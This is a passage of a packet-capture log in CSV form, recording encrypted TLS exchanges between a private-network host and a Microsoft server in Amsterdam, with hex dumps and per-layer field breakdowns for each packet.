\"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.455095,45,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=869426426 Ack=2933371754,bc2411360d0cbc24112907bb08004500047ac73640004006d81e2863cc220a98980b01bbf9dc33d264faaed7b36a5018003f9b95000017030303530000000000000003bfaf3042156a247cb1a46476529511c418a12edf4b0fc1f095203a8cbbe71159c146db81395ebc2ed2966cc28dddd0b3a77c29b6ec308a2e80cb76db2fa7080dc75f0d537e4d8929b6b2a40621f5561d585190245d533645bdbb5ff8476d2aee1d9ca705fd525d847342b07264a04a6ee84adc62b93f7b0b26b6f5de8a474e0be5f4754fb5f0d3112e8cfbb80e173490db98226f19bfce4b56a6c56e46476511343c40a2c1ce0c8f25ca07791cdb88ba17d9e94e1e748b75e5eb5539d7d7034284565f3d5f1a2e1f328fbfdaa8d11aa2764e40e1148691398a2bbe1052251b8298ce3662e3293c4f3a3d9e7494bf02010cebda554c4fdda5a0b300ffd2bf92638726adb54b20fb1f8baaf74ab58592142816bb57c4aa8c3cc22bba0be93064b4d72dfa42d62c99804a744298cac7880e03515beccccd2db96d1ae3353372e86ba4aeaa0091c91f1fc4de159acc12b890b9aefea2a74c07e6e268c552ab4b5a368311451481970797915bdd6e2baf4c2ade4ca5b1a0dc219b5bcffd031b44e553f0952800a011b8c5c5fc5c3959922b431d74ac81a04a9142ac3793bf5c15d4d9c43f25b50f45fe39475ee6131cee3adb3f570253b84e50246d4b4e990c31d5db3b51572f3f31e1bc0a0101a391cd06b2dd54f27326360c20b5003058199c2585e0bcc901307a1280d02ee1b7a8daf84ed5e550637100a53dfbec211143f9aedd257e32a96dfd69841b85de9e32936b8ec9357d259e8780c5d091a4ee7094b13629ad8b4c48d293fa9a86dfbdb6866f85da42390a3caf2ba92d86f2a4ec11d8e0a62c6e208e09a6bda3d1fa75c338d5f39d78131d304b345b619d4782444d84473e575b5871f74bf588e0df78cdfde92310b6366c40ef50968f5359510fe8fd9958d1605f5d2e665a63362991425128670f9733bb92e3a2d01b222dacb5c1304a24a7ab0491ac70fcb0d5dc4cf4b55139e91dcc46b8fe7b8cdb0fd8ddc62e6c18cd2ef6b05eded93341027fab9be7976e15e31c511c1af186e4f525b3eefd0e186b968d901ca44231148ac754904f0bd257fe6d412ccdce9f8688d273f3c2e445713000481d46a298cdc8164d0f534492cf2ccc737bc1878af3a750b052c6388a381b98f209043d24692b748b4e9c6566ec15fede99bdaeea8c1a72aa7ff58d557881c43875babcb20016c517030300cf0000000000000004bd6909ed5c90bf186710bd21b8cb90e0090eab066cd32f318b5d008e45b1f0c9b1395a57cadf4c4a0c544413491ae6eaad9364ee0118d787316d8af2c19645ea1a8fda32aa3193207efe34b7d0b69cee4567f2c7372a497382a492d09e8212b59011d443ad8667a593bace2dd3df73fa93844b927ac652acc50758d8f49237981a74964645e608c999c0b0463a8013b1c846dc816f9a10454b15f978d7184102466c2ac553e17d05ed71101ab9630d59eacf6de076622a432b033d5efb919c82c2092bcdc1af5617030300210000000000000005e46f13e30d48a02336be0492b5f22db32e27826efce1308d67,\".$.6\n..$.)....E..z.6@.@...(c.\"\"\n.......3.d....jP..?........S..........0B.j$|..dvR.......K.... :....Y.F..9^....l......|)..0....v./..\n._\nS~M.)....!.V.XQ.$]S6E.._.Gm*......R].sB.rd.Jn.J.b.?{.&....GN...uO..........4...\"\"o...KV..nFGe.4<@.....%..y.......N.t.u..U9...B.V_=_...2.......vN@....9.+..R%....6b.)<O:=.t.......ULO.........c.&..K .....J....(..W...<.+...0d..-.B.,..JtB......Q[...-.m..53r.k.....................L...h.R.KZ6..E......[.n+.L*.L....!.[....D.S..(.......\\9Y.+C.t...J.B.7..\\....?%..E.9G^....:.?W.S.NP$mKN..1..;QW/?1..\n........T.s&6. ..0X..%.....0z.........N..Pcq..=..!.C...%~2.m.i.....2.k..5}%........p..6)..LH.........o..B9\n<.+.-........,n .\t.....u.8...x..0K4[a.G.DM.G>W[Xq.K....x...#..6l@.P..SYQ....X.`_].fZc6).BQ(g..3......\"\"-...0J$.....p....L..Q9...F..{.......l.....^..3A......n...Q......%.....k.....B1...T.O..W.mA,......s...Eq0.H.F.....M.SD..,.s{.....P.R.8.8...\t.=$i+t.N.ef..........r....Ux..8u....................i\t.\\...g..!....\t...l./1.]..E....9ZW..LJ.TD.I.....d.....1m....E....2.1. ~.4.....Eg..7*Is...........C..g....-..s...K.z.R...X...7..t.FE......F:....F..o..EK..x..A.Fl*.S.}..q...c\nY..m.vb*C+.=^.....\t+...V....!.........o..\nH.#6.....-..'.n..0.g\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1146, \"\"id\"\": 50998, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55326, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869426426, \"\"ack\"\": 2933371754, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39829, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 851, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xbf\\\\xaf0B\\\\x15j$|\\\\xb1\\\\xa4dvR\\\\x95\\\\x11\\\\xc4\\\\x18\\\\xa1.\\\\xdfK\\\\x0f\\\\xc1\\\\xf0\\\\x95 :\\\\x8c\\\\xbb\\\\xe7\\\\x11Y\\\\xc1F\\\\xdb\\\\x819^\\\\xbc.\\\\xd2\\\\x96l\\\\xc2\\\\x8d\\\\xdd\\\\xd0\\\\xb3\\\\xa7|)\\\\xb6\\\\xec0\\\\x8a.\\\\x80\\\\xcbv\\\\xdb/\\\\xa7\\\\x08\\\\r\\\\xc7_\\\\rS~M\\\\x89)\\\\xb6\\\\xb2\\\\xa4\\\\x06!\\\\xf5V\\\\x1dXQ\\\\x90$]S6E\\\\xbd\\\\xbb_\\\\xf8Gm*\\\\xee\\\\x1d\\\\x9c\\\\xa7\\\\x05\\\\xfdR]\\\\x84sB\\\\xb0rd\\\\xa0Jn\\\\xe8J\\\\xdcb\\\\xb9?{\\\\x0b&\\\\xb6\\\\xf5\\\\xde\\\\x8aGN\\\\x0b\\\\xe5\\\\xf4uO\\\\xb5\\\\xf0\\\\xd3\\\\x11.\\\\x8c\\\\xfb\\\\xb8\\\\x0e\\\\x174\\\\x90\\\\xdb\\\\x98\\\"\"o\\\\x19\\\\xbf\\\\xceKV\\\\xa6\\\\xc5nFGe\\\\x114<@\\\\xa2\\\\xc1\\\\xce\\\\x0c\\\\x8f%\\\\xca\\\\x07y\\\\x1c\\\\xdb\\\\x88\\\\xba\\\\x17\\\\xd9\\\\xe9N\\\\x1et\\\\x8bu\\\\xe5\\\\xebU9\\\\xd7\\\\xd7\\\\x03B\\\\x84V_=_\\\\x1a.\\\\x1f2\\\\x8f\\\\xbf\\\\xda\\\\xa8\\\\xd1\\\\x1a\\\\xa2vN@\\\\xe1\\\\x14\\\\x86\\\\x919\\\\x8a+\\\\xbe\\\\x10R%\\\\x1b\\\\x82\\\\x98\\\\xce6b\\\\xe3)<O:=\\\\x9et\\\\x94\\\\xbf\\\\x02\\\\x01\\\\x0c\\\\xeb\\\\xdaULO\\\\xdd\\\\xa5\\\\xa0\\\\xb3\\\\x00\\\\xff\\\\xd2\\\\xbf\\\\x92c\\\\x87&\\\\xad\\\\xb5K \\\\xfb\\\\x1f\\\\x8b\\\\xaa\\\\xf7J\\\\xb5\\\\x85\\\\x92\\\\x14(\\\\x16\\\\xbbW\\\\xc4\\\\xaa\\\\x8c<\\\\xc2+\\\\xba\\\\x0b\\\\xe90d\\\\xb4\\\\xd7-\\\\xfaB\\\\xd6,\\\\x99\\\\x80JtB\\\\x98\\\\xca\\\\xc7\\\\x88\\\\x0e\\\\x03Q[\\\\xec\\\\xcc\\\\xcd-\\\\xb9m\\\\x1a\\\\xe353r\\\\xe8k\\\\xa4\\\\xae\\\\xaa\\\\x00\\\\x91\\\\xc9\\\\x1f\\\\x1f\\\\xc4\\\\xde\\\\x15\\\\x9a\\\\xcc\\\\x12\\\\xb8\\\\x90\\\\xb9\\\\xae\\\\xfe\\\\xa2\\\\xa7L\\\\x07\\\\xe6\\\\xe2h\\\\xc5R\\\\xabKZ6\\\\x83\\\\x11E\\\\x14\\\\x81\\\\x97\\\\x07\\\\x97\\\\x91[\\\\xddn+\\\\xafL*\\\\xdeL\\\\xa5\\\\xb1\\\\xa0\\\\xdc!\\\\x9b[\\\\xcf\\\\xfd\\\\x03\\\\x1bD\\\\xe5S\\\\xf0\\\\x95(\\\\x00\\\\xa0\\\\x11\\\\xb8\\\\xc5\\\\xc5\\\\xfc\\\\\\\\9Y\\\\x92+C\\\\x1dt\\\\xac\\\\x81\\\\xa0J\\\\x91B\\\\xac7\\\\x93\\\\xbf\\\\\\\\\\\\x15\\\\xd4\\\\xd9\\\\xc4?%\\\\xb5\\\\x0fE\\\\xfe9G^\\\\xe6\\\\x13\\\\x1c\\\\xee:\\\\xdb?W\\\\x02S\\\\xb8NP$mKN\\\\x99\\\\x0c1\\\\xd5\\\\xdb;QW/?1\\\\xe1\\\\xbc\\\\n\\\\x01\\\\x01\\\\xa3\\\\x91\\\\xcd\\\\x06\\\\xb2\\\\xddT\\\\xf2s&6\\\\x0c \\\\xb5\\\\x000X\\\\x19\\\\x9c%\\\\x85\\\\xe0\\\\xbc\\\\xc9\\\\x010z\\\\x12\\\\x80\\\\xd0.\\\\xe1\\\\xb7\\\\xa8\\\\xda\\\\xf8N\\\\xd5\\\\xe5Pcq\\\\x00\\\\xa5=\\\\xfb\\\\xec!\\\\x11C\\\\xf9\\\\xae\\\\xdd%~2\\\\xa9m\\\\xfdi\\\\x84\\\\x1b\\\\x85\\\\xde\\\\x9e2\\\\x93k\\\\x8e\\\\xc95}%\\\\x9e\\\\x87\\\\x80\\\\xc5\\\\xd0\\\\x91\\\\xa4\\\\xeep\\\\x94\\\\xb16)\\\\xad\\\\x8bLH\\\\xd2\\\\x93\\\\xfa\\\\x9a\\\\x86\\\\xdf\\\\xbd\\\\xb6\\\\x86o\\\\x85\\\\xdaB9\\\\n<\\\\xaf+\\\\xa9-\\\\x86\\\\xf2\\\\xa4\\\\xec\\\\x11\\\\xd8\\\\xe0\\\\xa6,n \\\\x8e\\\\t\\\\xa6\\\\xbd\\\\xa3\\\\xd1\\\\xfau\\\\xc38\\\\xd5\\\\xf3\\\\x9dx\\\\x13\\\\x1d0K4[a\\\\x9dG\\\\x82DM\\\\x84G>W[Xq\\\\xf7K\\\\xf5\\\\x88\\\\xe0\\\\xdfx\\\\xcd\\\\xfd\\\\xe9#\\\\x10\\\\xb66l@\\\\xefP\\\\x96\\\\x8fSYQ\\\\x0f\\\\xe8\\\\xfd\\\\x99X\\\\xd1`_].fZc6)\\\\x91BQ(g\\\\x0f\\\\x973\\\\xbb\\\\x92\\\\xe3\\\\xa2\\\\xd0\\\\x1b\\\"\"-\\\\xac\\\\xb5\\\\xc10J$\\\\xa7\\\\xab\\\\x04\\\\x91\\\\xacp\\\\xfc\\\\xb0\\\\xd5\\\\xdcL\\\\xf4\\\\xb5Q9\\\\xe9\\\\x1d\\\\xccF\\\\xb8\\\\xfe{\\\\x8c\\\\xdb\\\\x0f\\\\xd8\\\\xdd\\\\xc6.l\\\\x18\\\\xcd.\\\\xf6\\\\xb0^\\\\xde\\\\xd93A\\\\x02\\\\x7f\\\\xab\\\\x9b\\\\xe7\\\\x97n\\\\x15\\\\xe3\\\\x1cQ\\\\x1c\\\\x1a\\\\xf1\\\\x86\\\\xe4\\\\xf5%\\\\xb3\\\\xee\\\\xfd\\\\x0e\\\\x18k\\\\x96\\\\x8d\\\\x90\\\\x1c\\\\xa4B1\\\\x14\\\\x8a\\\\xc7T\\\\x90O\\\\x0b\\\\xd2W\\\\xfemA,\\\\xcd\\\\xce\\\\x9f\\\\x86\\\\x88\\\\xd2s\\\\xf3\\\\xc2\\\\xe4Eq0\\\\x00H\\\\x1dF\\\\xa2\\\\x98\\\\xcd\\\\xc8\\\\x16M\\\\x0fSD\\\\x92\\\\xcf,\\\\xccs{\\\\xc1\\\\x87\\\\x8a\\\\xf3\\\\xa7P\\\\xb0R\\\\xc68\\\\x8a8\\\\x1b\\\\x98\\\\xf2\\\\t\\\\x04=$i+t\\\\x8bN\\\\x9cef\\\\xec\\\\x15\\\\xfe\\\\xde\\\\x99\\\\xbd\\\\xae\\\\xea\\\\x8c\\\\x1ar\\\\xaa\\\\x7f\\\\xf5\\\\x8dUx\\\\x81\\\\xc48u\\\\xba\\\\xbc\\\\xb2\\\\x00\\\\x16\\\\xc5' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 207, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xbdi\\\\t\\\\xed\\\\\\\\\\\\x90\\\\xbf\\\\x18g\\\\x10\\\\xbd!\\\\xb8\\\\xcb\\\\x90\\\\xe0\\\\t\\\\x0e\\\\xab\\\\x06l\\\\xd3/1\\\\x8b]\\\\x00\\\\x8eE\\\\xb1\\\\xf0\\\\xc9\\\\xb19ZW\\\\xca\\\\xdfLJ\\\\x0cTD\\\\x13I\\\\x1a\\\\xe6\\\\xea\\\\xad\\\\x93d\\\\xee\\\\x01\\\\x18\\\\xd7\\\\x871m\\\\x8a\\\\xf2\\\\xc1\\\\x96E\\\\xea\\\\x1a\\\\x8f\\\\xda2\\\\xaa1\\\\x93 ~\\\\xfe4\\\\xb7\\\\xd0\\\\xb6\\\\x9c\\\\xeeEg\\\\xf2\\\\xc77*Is\\\\x82\\\\xa4\\\\x92\\\\xd0\\\\x9e\\\\x82\\\\x12\\\\xb5\\\\x90\\\\x11\\\\xd4C\\\\xad\\\\x86g\\\\xa5\\\\x93\\\\xba\\\\xce-\\\\xd3\\\\xdfs\\\\xfa\\\\x93\\\\x84K\\\\x92z\\\\xc6R\\\\xac\\\\xc5\\\\x07X\\\\xd8\\\\xf4\\\\x927\\\\x98\\\\x1at\\\\x96FE\\\\xe6\\\\x08\\\\xc9\\\\x99\\\\xc0\\\\xb0F:\\\\x80\\\\x13\\\\xb1\\\\xc8F\\\\xdc\\\\x81o\\\\x9a\\\\x10EK\\\\x15\\\\xf9x\\\\xd7\\\\x18A\\\\x02Fl*\\\\xc5S\\\\xe1}\\\\x05\\\\xedq\\\\x10\\\\x1a\\\\xb9c\\\\rY\\\\xea\\\\xcfm\\\\xe0vb*C+\\\\x03=^\\\\xfb\\\\x91\\\\x9c\\\\x82\\\\xc2\\\\t+\\\\xcd\\\\xc1\\\\xafV' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xe4o\\\\x13\\\\xe3\\\\rH\\\\xa0#6\\\\xbe\\\\x04\\\\x92\\\\xb5\\\\xf2-\\\\xb3.'\\\\x82n\\\\xfc\\\\xe10\\\\x8dg\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.455314,46,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371754 Ack=869427532,bc24112907bbbc2411360d0c08004500002813a74000800650000a98980b2863cc22f9dc01bbaed7b36a33d2694c5010040019b30000,\".$.)...$.6\n...E..(..@...P.\n...(c.\"\".......j3.iLP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5031, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20480, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371754, \"\"ack\"\": 869427532, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 6579, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.455957,47,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2933371754 Ack=869427532,bc24112907bbbc2411360d0c08004500006813a8400080064fbf0a98980b2863cc22f9dc01bbaed7b36a33d2694c50180400fc230000170303003b00000000000000047f1e9b5cae6deae114738c6e1019d103705925fbed0a50812f837d6d7178357af3cf690b4d8e1dfe4bbfc1ceb922bf851d987a,\".$.)...$.6\n...E..h..@...O.\n...(c.\"\".......j3.iLP....#......;...........\\.m...s.n....pY%..\nP./.}mqx5z..i.M...K....\"\"....z\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 5032, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20415, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371754, \"\"ack\"\": 869427532, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 64547, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x7f\\\\x1e\\\\x9b\\\\\\\\\\\\xaem\\\\xea\\\\xe1\\\\x14s\\\\x8cn\\\\x10\\\\x19\\\\xd1\\\\x03pY%\\\\xfb\\\\xed\\\\nP\\\\x81/\\\\x83}mqx5z\\\\xf3\\\\xcfi\\\\x0bM\\\\x8e\\\\x1d\\\\xfeK\\\\xbf\\\\xc1\\\\xce\\\\xb9\\\"\"\\\\xbf\\\\x85\\\\x1d\\\\x98z' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.455986,48,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=869427532 Ack=2933371818,bc2411360d0cbc24112907bb080045000028c73740004006dc6f2863cc220a98980b01bbf9dc33d2694caed7b3aa5010003f97430000,\".$.6\n..$.)....E..(.7@.@..o(c.\"\"\n.......3.iL....P..?.C..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50999, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56431, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869427532, \"\"ack\"\": 2933371818, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38723, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.801129,49,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=869427532 Ack=2933371818,bc2411360d0cbc24112907bb0800450002e3c73840004006d9b32863cc220a98980b01bbf9dc33d2694caed7b3aa5018003f99fe000017030302b60000000000000006f826d7ddf1ba9bc1208b7b31c89d9d77f194545dfb3fd0b2a585c454fae495f5275352d7caf63ba2baec9501f5969e31a616a65072ab038495f241722cb9b75242d3c9a3e39ab190655fe34d61814a97d2c827b235bf7de42c0b111ebc5b5ff77a5ff271235f62beecd138747be7ba688365c909f6d896a3e2e2b79827072e2f3eecb789a11595127c5442e31d9e7e70358f984424f857d6393bfc2a6947b928407e53d6867eba326bc088b7bbab91a85a9898e9cfaba378502e65351d4b6e9957b34e1af6ff5eff1bd35d1c57b1d1a6a6f28f3198ccec124aa167a43941ee5fe00e0f8d5b629be80575c8a68176fa43f52864c021c86d2bf0a72f92235961af3764b3a4e49b98a73270f31e243121f6b84c1a77f708c636797f592740772a8992bbb6b6a188179aad098593dd19eb9d6530412c50d3cca91b14a65f71d32768d40af04f410bbc16c3c195cc29d53f29be43dccccb96f0c965af1bc7a8c901ca73849c8a08c8a2750fb7a1aa66a84f8eeca70355f22509c789e117a314796055d6d32889852fdf7d9bdb8462118d671f33d11302bfd6ea487467cd99d561535b0b0bd0f940f815954101dda97abce1e1ab58d577f3216b94562682640602b7898d9b0174385a35cb285e8b67122b7adc1b7a50dcd42b54dc876f6281ac243c03756c00b0bce6a2d6897227c470acf6a13a906553e3e365f21e392291f659b08e6b24f5fb5f33432ed24f64906e6392432286b56b46ae3875c58ac120cab1dc3a7dfd82712b4209a55abe1fc7cbb5ea731763edcbc58e46f3df16c36a01b7df714222bd43a9e5505a5619ea1c13469698d5e2421426bc417d573bb65021aeec9f2efdd4b175c5a403e45f62630937a8a2013fb1ec7dd4b3c6ae909a5f1e31eb7457f7b2aafbf1d71124d26439c288e146e37196fe50fb3c25a40cf40fbabba8eda8bb8ae18c103fee5ea80a04104d,\".$.6\n..$.)....E....8@.@...(c.\"\"\n.......3.iL....P..?..................&...... .{1...w..T].?.....T....'SR...;........1...Pr.....Ar,..RB.......e_.Ma.J...'.5.}.,....[_.z_.q#_b...8t{..h.e.\t........'../>.......|TB...~p5..D$.W.9;.*iG.(@~S..~.2k.......Z......xP.e5.Kn.W.N...^...].W......1....J.g.9A._....[b...u...v.C.(d.!.m+../.#Ya.7d......2p..$1!..L.w...6y.Y'@w*..........\t......e0A,P......_q.'h.\n.OA.......).?).C......e.......s......u....f.O....U.%\t......y`U..(../.}...b..g.3......Htg...aS[....@...A...z....X.w.!k.V&.d.......t8Z5.(^.g.+z..zP..+T..ob..$<.ul.......r'.p...:.eS..e..9\"\"..Y..k$.._3C..Od.nc.C\"\"..kF.8u... ...:}..q+B\t.Z......s.c....F....j...qB\"\".C..PZV....F....B.&.A}W;.P!.......u...._bc\t7...?..}......_.1.tW.......$.d9...F.q..P.<%..............?.^.\n..M\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 739, \"\"id\"\": 51000, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55731, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869427532, \"\"ack\"\": 2933371818, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39422, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 694, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\xf8&\\\\xd7\\\\xdd\\\\xf1\\\\xba\\\\x9b\\\\xc1 \\\\x8b{1\\\\xc8\\\\x9d\\\\x9dw\\\\xf1\\\\x94T]\\\\xfb?\\\\xd0\\\\xb2\\\\xa5\\\\x85\\\\xc4T\\\\xfa\\\\xe4\\\\x95\\\\xf5\\\\'SR\\\\xd7\\\\xca\\\\xf6;\\\\xa2\\\\xba\\\\xec\\\\x95\\\\x01\\\\xf5\\\\x96\\\\x9e1\\\\xa6\\\\x16\\\\xa6Pr\\\\xab\\\\x03\\\\x84\\\\x95\\\\xf2Ar,\\\\xb9\\\\xb7RB\\\\xd3\\\\xc9\\\\xa3\\\\xe3\\\\x9a\\\\xb1\\\\x90e_\\\\xe3Ma\\\\x81J\\\\x97\\\\xd2\\\\xc8\\\\'\\\\xb25\\\\xbf}\\\\xe4,\\\\x0b\\\\x11\\\\x1e\\\\xbc[_\\\\xf7z_\\\\xf2q#_b\\\\xbe\\\\xec\\\\xd18t{\\\\xe7\\\\xbah\\\\x83e\\\\xc9\\\\t\\\\xf6\\\\xd8\\\\x96\\\\xa3\\\\xe2\\\\xe2\\\\xb7\\\\x98\\\\'\\\\x07./>\\\\xec\\\\xb7\\\\x89\\\\xa1\\\\x15\\\\x95\\\\x12|TB\\\\xe3\\\\x1d\\\\x9e~p5\\\\x8f\\\\x98D$\\\\xf8W\\\\xd69;\\\\xfc*iG\\\\xb9(@~S\\\\xd6\\\\x86~\\\\xba2k\\\\xc0\\\\x88\\\\xb7\\\\xbb\\\\xab\\\\x91\\\\xa8Z\\\\x98\\\\x98\\\\xe9\\\\xcf\\\\xab\\\\xa3xP.e5\\\\x1dKn\\\\x99W\\\\xb3N\\\\x1a\\\\xf6\\\\xff^\\\\xff\\\\x1b\\\\xd3]\\\\x1cW\\\\xb1\\\\xd1\\\\xa6\\\\xa6\\\\xf2\\\\x8f1\\\\x98\\\\xcc\\\\xec\\\\x12J\\\\xa1g\\\\xa49A\\\\xee_\\\\xe0\\\\x0e\\\\x0f\\\\x8d[b\\\\x9b\\\\xe8\\\\x05u\\\\xc8\\\\xa